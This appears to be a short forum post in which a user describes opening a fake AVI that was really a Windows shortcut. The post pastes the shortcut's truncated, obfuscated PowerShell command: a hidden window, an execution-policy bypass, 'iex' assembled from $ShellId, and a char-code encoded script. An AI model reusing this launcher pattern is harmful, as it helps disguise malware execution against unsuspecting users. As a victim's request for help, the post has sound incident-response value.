I just ran an AVI file that was sent to me, thinking AVIs were safe. Turns out it was a windows shortcut with this in the path:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoPr -WINd
1 -eXEc ByP . ( $shelliD[1]+$SHeLlID[13]+'x') ([StrIng]::jOin( '',
[CHar[]](36 ,97,115, 112 , 120,32 ,61,32 ,40 ,40, 78, 101 , 119, 45,
79 , 98, 106,101,99, 116 , 32 ,83, 121 , 115,116, 101
I'm hoping the lack of closing parens means this was inoccuous. Have I screwed myself?